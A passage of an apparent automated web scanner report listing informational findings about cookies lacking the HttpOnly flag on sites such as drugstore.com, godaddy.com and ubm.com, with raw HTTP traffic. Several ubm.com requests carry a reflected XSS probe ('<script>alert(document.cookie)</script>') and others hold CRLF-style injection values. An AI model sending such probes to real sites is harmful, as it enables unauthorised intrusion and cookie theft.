BIGipServerdscm_farm=2316609728.0.0000; expires=Fri, 16-Sep-2011 17:31:35 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

POST /LookAheadSuggestions.aspx HTTP/1.1
Host: www.drugstore.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.4.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://www.drugstore.com/
Content-Length: 140
Cookie: STICKY=SEAWEB038P:7B1B08A6C5BF4A968C79C9BFB007FDD0:jy0lemycstoxx3j2aggf0d55; ASP.NET_SessionId=tujq4xeiqb4bta55tp0jzqna; drugstore%2Efish=UserID=57ABB42C1945443F8A38894F54FEB227; ABTests=07082011_tns_abtest=abtest_not_qualified@&20051228_entrypages=1@09/16/2011 9:30:24 AM&091211_GWP_YTC=1@09/16/2011 9:30:24 AM&040610_bizrate_beauty=1@09/16/2011 9:30:24 AM&030411_click2chat_dscm=1@09/16/2011 9:30:24 AM&110210_bizrate_VD=abtest_not_qualified@&20090319_ForeSee_Vision=abtest_not_qualified@&pdetails_ver2=1@09/16/2011 9:30:24 AM&20060410_bizrate=0@09/16/2011 9:30:24 AM&20070530_GoogleCheckout=1@09/16/2011 9:30:24 AM&aggregate_knowledge=1@09/16/2011 9:30:24 AM&ship_interrupt=2@09/16/2011 9:30:24 AM&05262011_ivd_ciba_25percent_off=abtest_not_qualified@; BIGipServerdscm_farm=2316609728.0.0000; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B%20abtest%3DABTEST_20060410_bizrate%257C0%3B; s_vi=[CS]v1|2739BCD58514B3D4-4000018C2004D12D[CE]; _br_uid_1=uid%3D5299788113416%3A; __cmbDomTm=0; __cmbU=ABJeb1_3NV-wS9CA4xNFiv3ShLSU4iGgty4u6k9WHsPFv60ohMiFdyhiaxwr6ZVfLN137aUZJTCXZJufx_taXD_Nnqj8E6TcGg; __cmbTpvTm=1058
Pragma: no-cache
Cache-Control: no-cache

keywords=xss%5C&N=0&sid=0&osid=-1&st=1&ost=8&on=Beauty.com&enePort=8000&eneHost=search.dsprod.drugstore.com&max=10&cid=0&ntk=All&hts=True&_=

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 9
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
P3P: CP=CAO DSP COR CUR ADM DEV TAI PSD IVD CONi OUR DEL OTRo IND
Date: Fri, 16 Sep 2011 16:31:35 GMT
Set-Cookie: BIGipServerdscm_farm=2316609728.0.0000; expires=Fri, 16-Sep-2011 17:31:35 GMT; path=/

<ul></ul>

11.54. http://www.drugstore.com/pharmacy/drugindex/rxsearch.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.drugstore.com
Path:	/pharmacy/drugindex/rxsearch.asp

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

STICKY=SEAWEB038P:7B1B08A6C5BF4A968C79C9BFB007FDD0:yonvhm55shpcsh45w02oevnl; domain=.drugstore.com; expires=Thu, 15-Jan-2037 08:00:00 GMT; path=/
BIGipServerdscm_farm=2316609728.0.0000; expires=Fri, 16-Sep-2011 17:31:39 GMT; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

11.55. http://www.drugstore.com/search/search_results.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.drugstore.com
Path:	/search/search_results.asp

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

STICKY=SEAWEB038P:7B1B08A6C5BF4A968C79C9BFB007FDD0:moymzk55ygfcmm45khc4ln45; domain=.drugstore.com; expires=Thu, 15-Jan-2037 08:00:00 GMT; path=/
BIGipServerdscm_farm=2316609728.0.0000; expires=Fri, 16-Sep-2011 17:31:37 GMT; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

11.56. http://www.godaddy.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

preferences1=_sid=jcwejcfjxbngwdkfvgmjwimgygceujtc&gdshop_currencyType=USD&dataCenterCode=US; domain=godaddy.com; path=/
currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:07:18 GMT; path=/
HPBackground=DanicaImageTwo; path=/
traffic=cookies=1&referrer=&sitename=www.godaddy.com&page=/default.aspx&server=M1PWCORPWEB181&status=200 OK&querystring=&shopper=46215684&privatelabelid=1&isc=&clientip=50.23.123.106&referringpath=b60669da-2123-4bfc-afe4-9bcdeba931e5&referringdomain=&split=19; domain=godaddy.com; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
Set-Cookie: preferences1=_sid=jcwejcfjxbngwdkfvgmjwimgygceujtc&gdshop_currencyType=USD&dataCenterCode=US; domain=godaddy.com; path=/
Set-Cookie: currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:07:18 GMT; path=/
Set-Cookie: adc1=US; domain=godaddy.com; path=/
Set-Cookie: HPBackground=DanicaImageTwo; path=/
Set-Cookie: traffic=cookies=1&referrer=&sitename=www.godaddy.com&page=/default.aspx&server=M1PWCORPWEB181&status=200 OK&querystring=&shopper=46215684&privatelabelid=1&isc=&clientip=50.23.123.106&referringpath=b60669da-2123-4bfc-afe4-9bcdeba931e5&referringdomain=&split=19; domain=godaddy.com; path=/
X-Powered-By: ASP.NET
P3P: policyref="/w3c/p3p.xml", CP="COM CNT DEM FIN GOV INT NAV ONL PHY PRE PUR STA UNI IDC CAO OTI DSP COR CUR i OUR IND"
Date: Fri, 16 Sep 2011 18:07:18 GMT
Content-Length: 177000

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml">
<head id="ctl00_Head1"><
...[SNIP]...

11.57. http://www.godaddy.com/Domains/Controls/JsonContent/DotTypePricing.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/Domains/Controls/JsonContent/DotTypePricing.aspx

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

traffic=cookies=1&referrer=http://www.godaddy.com/domains/search.aspx&sitename=www.godaddy.com&page=/Domains/Controls/JsonContent/DotTypePricing.aspx&server=M1PWCORPWEB181&status=200 OK&querystring=tab=general&callback=tabFill&targetDivId=tab2&tabFill=jsonp1316214560432&_=1316214560519&shopper=46215684&privatelabelid=1&isc=eebc2%0d%0&clientip=50.23.123.106&referringpath=b60669da-2123-4bfc-afe4-9bcdeba931e5&referringdomain=&split=95; domain=godaddy.com; path=/
currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:08:29 GMT; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

11.58. http://www.godaddy.com/Domains/Controls/JsonContent/generalPricing.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/Domains/Controls/JsonContent/generalPricing.aspx

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:08:30 GMT; path=/
traffic=cookies=1&referrer=http://www.godaddy.com/domains/search.aspx&sitename=www.godaddy.com&page=/Domains/Controls/JsonContent/generalPricing.aspx&server=M1PWCORPWEB181&status=200 OK&querystring=TargetDivID=general_pricing_json_content&_=1316214561887&shopper=46215684&privatelabelid=1&isc=eebc2%0d%0&clientip=50.23.123.106&referringpath=b60669da-2123-4bfc-afe4-9bcdeba931e5&referringdomain=&split=95; domain=godaddy.com; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

11.59. http://www.godaddy.com/domains/search.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/domains/search.aspx

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:08:28 GMT; path=/
traffic=cookies=1&referrer=&sitename=www.godaddy.com&page=/domains/search.aspx&server=M1PWCORPWEB181&status=200 OK&querystring=&shopper=46215684&privatelabelid=1&isc=71bf3%0d%0&clientip=50.23.123.106&referringpath=fb691c64-72f6-4f9a-b525-0b2548cfab03&referringdomain=&split=95; domain=godaddy.com; path=/
BlueLithium_domainsearch=jauafgggzbdbdhedqdvejhcgpjbacdnd; domain=godaddy.com; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

11.60. http://www.godaddy.com/gdshop/site_search.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/gdshop/site_search.asp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

traffic=server=M1PWCORPWEB181&sitename=www%2Egodaddy%2Ecom&cookies=1&clientip=50%2E23%2E123%2E106&status=200+OK&referrer=http%3A%2F%2Fwww%2Egodaddy%2Ecom%2F&isc=&privatelabelid=1&page=%2Fgdshop%2Fsite%5Fsearch%2Easp&referringdomain=&referringpath=2a590ae0%2D0ee8%2D47bd%2D8061%2Daf016da64611&shopper=46215684&querystring=ci%3D9104%26pageNum%3D1%26searchFor%3Dxss; domain=.godaddy.com; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

11.61. http://www.godaddy.com/offers/hot-deals.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/offers/hot-deals.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:08:32 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

11.62. http://www.godaddy.com/offers/hot-deals2.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/offers/hot-deals2.aspx

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:08:35 GMT; path=/
traffic=cookies=1&referrer=http://www.godaddy.com/domains/search.aspx&sitename=www.godaddy.com&page=/offers/hot-deals2.aspx&server=M1PWCORPWEB181&status=200 OK&querystring=ci=51455&shopper=46215684&privatelabelid=1&isc=d0d8de1c80&clientip=50.23.123.106&referringpath=b60669da-2123-4bfc-afe4-9bcdeba931e5&referringdomain=&split=95; domain=godaddy.com; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

11.63. http://www.godaddy.com/offers/jsoncontent/recommendedoffers.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/offers/jsoncontent/recommendedoffers.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

traffic=cookies=1&referrer=http://www.godaddy.com/offers/hot-deals2.aspx?ci=51455&sitename=www.godaddy.com&page=/offers/jsoncontent/recommendedoffers.aspx&server=M1PWCORPWEB181&status=200 OK&querystring=ci=51455%2c50960&callback=jsonContent._fill&targetDivId=tab1&jsonContent._fill=jQuery15108357319077476859_1316214566272&_=1316214567345&shopper=46215684&privatelabelid=1&isc=d0d8de1c80&clientip=50.23.123.106&referringpath=b60669da-2123-4bfc-afe4-9bcdeba931e5&referringdomain=&split=95; domain=godaddy.com; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/javascript; charset=utf-8
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
Set-Cookie: traffic=cookies=1&referrer=http://www.godaddy.com/offers/hot-deals2.aspx?ci=51455&sitename=www.godaddy.com&page=/offers/jsoncontent/recommendedoffers.aspx&server=M1PWCORPWEB181&status=200 OK&querystring=ci=51455%2c50960&callback=jsonContent._fill&targetDivId=tab1&jsonContent._fill=jQuery15108357319077476859_1316214566272&_=1316214567345&shopper=46215684&privatelabelid=1&isc=d0d8de1c80&clientip=50.23.123.106&referringpath=b60669da-2123-4bfc-afe4-9bcdeba931e5&referringdomain=&split=95; domain=godaddy.com; path=/
X-Powered-By: ASP.NET
P3P: policyref="/w3c/p3p.xml", CP="COM CNT DEM FIN GOV INT NAV ONL PHY PRE PUR STA UNI IDC CAO OTI DSP COR CUR i OUR IND"
Date: Fri, 16 Sep 2011 18:08:36 GMT
Content-Length: 793

jsonContent._fill({"Html":"\r\n \u003cdiv class=\"dealstitle\"\u003e\r\n \u003ch3\u003eRecommended Offers\u003c/h3\u003e\r\n \u003ch4\u003eDo more online with special savings on the products yo
...[SNIP]...

11.64. http://www.godaddy.com/productadvisor/pastart.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/productadvisor/pastart.aspx

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:07:38 GMT; path=/
traffic=cookies=1&referrer=http://www.godaddy.com/gdshop/site_search.asp?ci=9104&pageNum=1&searchFor=xss&sitename=www.godaddy.com&page=/productadvisor/pastart.aspx&server=M1PWCORPWEB181&status=200 OK&querystring=ci=13108&shopper=46215684&privatelabelid=1&isc=&clientip=50.23.123.106&referringpath=2a590ae0-0ee8-47bd-8061-af016da64611&referringdomain=&split=19; domain=godaddy.com; path=/

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

11.65. http://www.godaddy.com/productadvisor/productadvisor.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.godaddy.com
Path:	/productadvisor/productadvisor.aspx

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:07:40 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/javascript; charset=utf-8
Expires: -1
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
Set-Cookie: currency1=potableSourceStr=USD; domain=godaddy.com; expires=Sun, 16-Sep-2012 18:07:40 GMT; path=/
Set-Cookie: adc1=US; domain=godaddy.com; path=/
X-Powered-By: ASP.NET
P3P: policyref="/w3c/p3p.xml", CP="COM CNT DEM FIN GOV INT NAV ONL PHY PRE PUR STA UNI IDC CAO OTI DSP COR CUR i OUR IND"
Date: Fri, 16 Sep 2011 18:07:39 GMT
Content-Length: 17622

atlPrdiFillDiv({"Html":"\u000d\u000a\u0009\u0009\u0009<div id=\"ProductAdvisorDiv\" style=\"display:block;\">\u000d\u000a\u0009\u0009\u0009\u0009<table cellspacing=\"0\" cellpadding=\"0\" border=\"0\"
...[SNIP]...

11.66. http://www.googleadservices.com/pagead/aclk previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.googleadservices.com
Path:	/pagead/aclk

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

Conversion=CnFDNE4xTG9XcHpUdFMzSjZXemlBTHY0ZDMtRE5lZDFZVUNwLXliM1Iyb3JOb09DQUFRQVNnRFVMdkZ6NXdFWU1rR29BSGwzY3Y1QThnQkFhb0VGMF9RbzlzQ3FxM094OEhlTnpMSTBlai1zWTBnQXQ3chITCL2R9fKJoqsCFR5CgwodAmU9qBgBINONjqOn7dXhoQFIAQ; expires=Sun, 16-Oct-2011 15:26:34 GMT; path=/pagead/conversion/1060302565/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /pagead/aclk?sa=L&ai=C4N1LoWpzTtS3J6WziALv4d3-DNed1YUCp-yb3R2orNoOCAAQASgDULvFz5wEYMkGoAHl3cv5A8gBAaoEF0_Qo9sCqq3Ox8HeNzLI0ej-sY0gAt7r&ved=0CAgQ0Qw&val=ChAyNmVhN2ZlZjBhNmNmNDNiELDC9fIEGgg4KGXV6rTBcSABKAAw88uL57LFh-j1ATjy4fjyBECYu8rzBA&sig=AOD64_2JtkL0Rkd1sU6F3W8jpXTZ-_2jtw&adurl=http://www.socketlabs.com/lpages/od-smtp-service%3Fctt_id%3D3448125%26ctt_adnw%3DGoogle%26ctt_kw%3DSMTP%2520server%26ctt_ch%3Dps%26ctt_entity%3Dtc%26ctt_adid%3D7890931031%26ctt_nwtype%3Dsearch%26ctt_cli%3D8x11767x88739x778008 HTTP/1.1
Host: www.googleadservices.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=smtp+server
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 302 Found
P3P: policyref="http://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA PVD OTP OUR OTR IND OTC"
Set-Cookie: Conversion=CnFDNE4xTG9XcHpUdFMzSjZXemlBTHY0ZDMtRE5lZDFZVUNwLXliM1Iyb3JOb09DQUFRQVNnRFVMdkZ6NXdFWU1rR29BSGwzY3Y1QThnQkFhb0VGMF9RbzlzQ3FxM094OEhlTnpMSTBlai1zWTBnQXQ3chITCL2R9fKJoqsCFR5CgwodAmU9qBgBINONjqOn7dXhoQFIAQ; expires=Sun, 16-Oct-2011 15:26:34 GMT; path=/pagead/conversion/1060302565/
Cache-Control: private
Location: http://www.socketlabs.com/lpages/od-smtp-service?ctt_id=3448125&ctt_adnw=Google&ctt_kw=SMTP%20server&ctt_ch=ps&ctt_entity=tc&ctt_adid=7890931031&ctt_nwtype=search&ctt_cli=8x11767x88739x778008&gclid=CL2R9fKJoqsCFR5CgwodAmU9qA
Content-Type: text/html; charset=UTF-8
X-Content-Type-Options: nosniff
Date: Fri, 16 Sep 2011 15:26:34 GMT
Server: AdClickServer
Content-Length: 0
X-XSS-Protection: 1; mode=block

11.67. http://www.jangosmtp.com/Free-Account.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.jangosmtp.com
Path:	/Free-Account.asp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

JangoMail=Word=SMTP+server&Search=g&Referrer=http%3A%2F%2Fwww%2Egoogle%2Ecom%2Fsearch%3Fsourceid%3Dchrome%26ie%3DUTF%2D8%26q%3Dsmtp%2Bserver; expires=Fri, 16-Dec-2011 16:26:44 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /Free-Account.asp?s=g&kw=SMTP%20server&gclid=CKGSi_aJoqsCFRdTgwod5zgZiw HTTP/1.1
Host: www.jangosmtp.com
Proxy-Connection: keep-alive
Referer: http://www.google.com/search?sourceid=chrome&ie=UTF-8&q=smtp+server
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

11.68. https://www.jangosmtp.com/login.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://www.jangosmtp.com
Path:	/login.asp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

JangoMail=Word=SMTP+server&Referrer=http%3A%2F%2Fwww%2Ejangosmtp%2Ecom%2Flogin%2Easp&Search=g; expires=Fri, 16-Dec-2011 16:30:42 GMT; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

11.69. http://www.opera.com/company/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.opera.com
Path:	/company/

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

language=en2bcb5aca7750cb3d3f1fbeb1;domain=.www.opera.com;path=/;

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /company/ HTTP/1.1
Host: www.opera.com
Proxy-Connection: keep-alive
Referer: http://www.opera.com/addons/extensions/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: language=en; __utma=122269525.1534674535.1316207960.1316207960.1316207960.1; __utmb=122269525.2.10.1316207960; __utmc=122269525; __utmz=122269525.1316207960.1.1.utmcsr=unite.opera.com|utmccn=(referral)|utmcmd=referral|utmcct=/application/192/

Response

11.70. http://www.ubm.com/en/javascripts/cache.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ubm.com
Path:	/en/javascripts/cache.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SERVERID=DP1-WEB02; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /en/javascripts/cache.js HTTP/1.1
Host: www.ubm.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.ubm.com/en/site-services/search/search-result.aspx?ResultPage=1&Domain=MergeAll7a54a%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eafa1cd40535&query=help%20contact

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 1005
Content-Type: text/javascript; charset=utf-8
Expires: -1
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: united-business-media-plc-production#sc_wede=1; path=/; HttpOnly
Set-Cookie: united-business-media-plc-production#lang=en; path=/; HttpOnly
Date: Fri, 16 Sep 2011 16:45:58 GMT
Connection: close
Set-Cookie: SERVERID=DP1-WEB02; path=/

$jk= jQuery.noConflict();

$jk(document).ready(function(){
(function($jk) {
var cache = [];
// Arguments are image paths relative to the current page.
$jk.preLoadImages = function() {
...[SNIP]...

11.71. http://www.ubm.com/en/javascripts/gatag.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ubm.com
Path:	/en/javascripts/gatag.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SERVERID=DP1-WEB01; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /en/javascripts/gatag.js HTTP/1.1
Host: www.ubm.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.ubm.com/en/site-services/search/search-result.aspx?ResultPage=1&Domain=MergeAll7a54a%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eafa1cd40535&query=help%20contact

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 2875
Content-Type: text/javascript; charset=utf-8
Expires: -1
X-Powered-By: ASP.NET
Set-Cookie: www-ubm-com#sc_wede=1; path=/; HttpOnly
Set-Cookie: www-ubm-com#lang=en; path=/; HttpOnly
Date: Fri, 16 Sep 2011 16:45:58 GMT
Connection: close
Set-Cookie: SERVERID=DP1-WEB01; path=/

// This javascript tags file downloads and external links in Google Analytics.
// You need to be using the Google Analytics New Tracking Code (ga.js)
// for this script to work.
// To
...[SNIP]...

11.72. http://www.ubm.com/en/javascripts/menu.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ubm.com
Path:	/en/javascripts/menu.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SERVERID=DP1-WEB01; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /en/javascripts/menu.js HTTP/1.1
Host: www.ubm.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.ubm.com/en/site-services/search/search-result.aspx?ResultPage=1&Domain=MergeAll7a54a%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eafa1cd40535&query=help%20contact

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 343
Content-Type: text/javascript; charset=utf-8
Expires: -1
X-Powered-By: ASP.NET
Set-Cookie: www-ubm-com#sc_wede=1; path=/; HttpOnly
Set-Cookie: www-ubm-com#lang=en; path=/; HttpOnly
Date: Fri, 16 Sep 2011 16:45:58 GMT
Connection: close
Set-Cookie: SERVERID=DP1-WEB01; path=/

$j = jQuery.noConflict();
$j(function(){
$j("ul#section-Homepage-level1 li").hover(function(){
$j(this).addClass("hover");
$j('ul:first',this).css('display', 'block')
...[SNIP]...

11.73. http://www.ubm.com/en/javascripts/search-box.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ubm.com
Path:	/en/javascripts/search-box.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SERVERID=DP1-WEB01; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /en/javascripts/search-box.js HTTP/1.1
Host: www.ubm.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.ubm.com/en/site-services/search/search-result.aspx?ResultPage=1&Domain=MergeAll7a54a%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eafa1cd40535&query=help%20contact

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Length: 623
Content-Type: text/javascript; charset=utf-8
Expires: -1
X-Powered-By: ASP.NET
Set-Cookie: www-ubm-com#sc_wede=1; path=/; HttpOnly
Set-Cookie: www-ubm-com#lang=en; path=/; HttpOnly
Date: Fri, 16 Sep 2011 16:45:58 GMT
Connection: close
Set-Cookie: SERVERID=DP1-WEB01; path=/

$j= jQuery.noConflict();

$j(document).ready(function(){
$j("#SearchTextBoxContainer input").focus(function () {
if ($j(this).val()=="") {

$j(this).css("background", "n
...[SNIP]...

11.74. http://www.ubm.com/en/javascripts/sifr3.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.ubm.com
Path:	/en/javascripts/sifr3.js

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

SERVERID=GS2-WEB01; path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /en/javascripts/sifr3.js HTTP/1.1
Host: www.ubm.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
